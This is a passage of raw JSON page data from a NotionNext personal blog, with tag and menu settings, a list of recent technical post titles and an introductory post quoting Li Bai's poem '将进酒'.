78b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf":{"value":{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","version":226,"type":"page","content":["b33f1eb2-42c7-46e0-8f18-cc90501a4613","efb3a44e-b8e8-4a98-a9d6-39b6ca1c4ac4","f8c38272-129a-49f2-91f3-150812588f32","2d2f576f-7b74-4e78-b23d-2383f0c2bc91","53ad423b-75f6-4585-9139-ffab1180f2e0","a1bbce14-f046-495a-8d32-5fb357639122","12c9b40b-cb5f-4bc4-b346-b28b46f9ea5f"],"format":{"page_font":"serif","page_icon":"🏐","page_cover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"9d36e2f8-7b91-4160-9786-0a0bd635e859","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337113,"last_edited_time":1705655724923,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"9d36e2f8-7b91-4160-9786-0a0bd635e859","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"b33f1eb2-42c7-46e0-8f18-cc90501a4613":{"value":{"id":"b33f1eb2-42c7-46e0-8f18-cc90501a4613","type":"header","properties":{"title":[["起始"]]},"format":{"copied_from_pointer":{"id":"eb8b6697-cce1-41c4-be07-ac04b269a695","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337138,"last_edited_time":1705630363962,"parent_id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","parent_table":"block","alive":true,"copied_from":"eb8b6697-cce1-41c4-be07-ac04b269a695"}},"efb3a44e-b8e8-4a98-a9d6-39b6ca1c4ac4":{"value":{"id":"efb3a44e-b8e8-4a98-a9d6-39b6ca1c4ac4","type":"quote","properties":{"title":[["慢也好,步子小也好,是在往前走就好"]]},"format":{"copied_from_pointer":{"id":"058f5d19-ff15-4ed1-aa36-2def2a2337c7","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337127,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705632265977,"parent_id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","parent_table":"block","alive":true,"copied_from":"058f5d19-ff15-4ed1-aa36-2def2a2337c7"}},"f8c38272-129a-49f2-91f3-150812588f32":{"value":{"id":"f8c38272-129a-49f2-91f3-150812588f32","type":"callout","properties":{"title":[["生活的意义并不是与他人争高下,而在于享受努力实现目标的过程,结果只是对自己行动的嘉奖。"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"7f01b446-59ba-4181-9ec4-385151a4d4fc","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337131,"last_edited_time":1705594337131,"parent_id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","parent_table":"block","alive":true,"copied_from":"7f01b446-59ba-4181-9ec4-385151a4d4fc"}},"2d2f576f-7b74-4e78-b23d-2383f0c2bc91":{"value":{"id":"2d2f576f-7b74-4e78-b23d-2383f0c2bc91","type":"header","properties":{"title":[["将进酒",[["b"]]]]},"format":{"copied_from_pointer":{"id":"6ec2b9c9-676c-443b-a750-0f16382c916a","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337130,"last_edited_time":1705655727454,"parent_id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","parent_table":"block","alive":true,"copied_from":"6ec2b9c9-676c-443b-a750-0f16382c916a"}},"53ad423b-75f6-4585-9139-ffab1180f2e0":{"value":{"id":"53ad423b-75f6-4585-9139-ffab1180f2e0","type":"text","properties":{"title":[["李白〔唐代〕"]]},"format":{"copied_from_pointer":{"id":"8b602d31-20c9-409f-8fb8-c98f5836c1e7","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337134,"last_edited_time":1705630515910,"parent_id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","parent_table":"block","alive":true,"copied_from":"8b602d31-20c9-409f-8fb8-c98f5836c1e7"}},"a1bbce14-f046-495a-8d32-5fb357639122":{"value":{"id":"a1bbce14-f046-495a-8d32-5fb357639122","type":"text","properties":{"title":[["君不见黄河之水天上来,奔流到海不复回。\n君不见高堂明镜悲白发,朝如青丝暮成雪。\n人生得意须尽欢,莫使金樽空对月。\n天生我材必有用,千金散尽还复来。\n烹羊宰牛且为乐,会须一饮三百杯。\n岑夫子,丹丘生,将进酒,杯莫停。\n与君歌一曲,请君为我倾耳听。\n钟鼓馔玉不足贵,但愿长醉不愿醒。\n古来圣贤皆寂寞,惟有饮者留其名。\n陈王昔时宴平乐,斗酒十千恣欢谑。\n主人何为言少钱,径须沽取对君酌。\n五花马、千金裘,呼儿将出换美酒,与尔同销万古愁。"]]},"format":{"copied_from_pointer":{"id":"e48a3c2b-90fa-4a2e-a352-04d028c9752a","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337138,"last_edited_time":1705594337138,"parent_id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","parent_table":"block","alive":true,"copied_from":"e48a3c2b-90fa-4a2e-a352-04d028c9752a"}},"12c9b40b-cb5f-4bc4-b346-b28b46f9ea5f":{"value":{"id":"12c9b40b-cb5f-4bc4-b346-b28b46f9ea5f","type":"text","created_time":1705630517913,"last_edited_time":1705630517915,"parent_id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","parent_table":"block","alive":true}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visi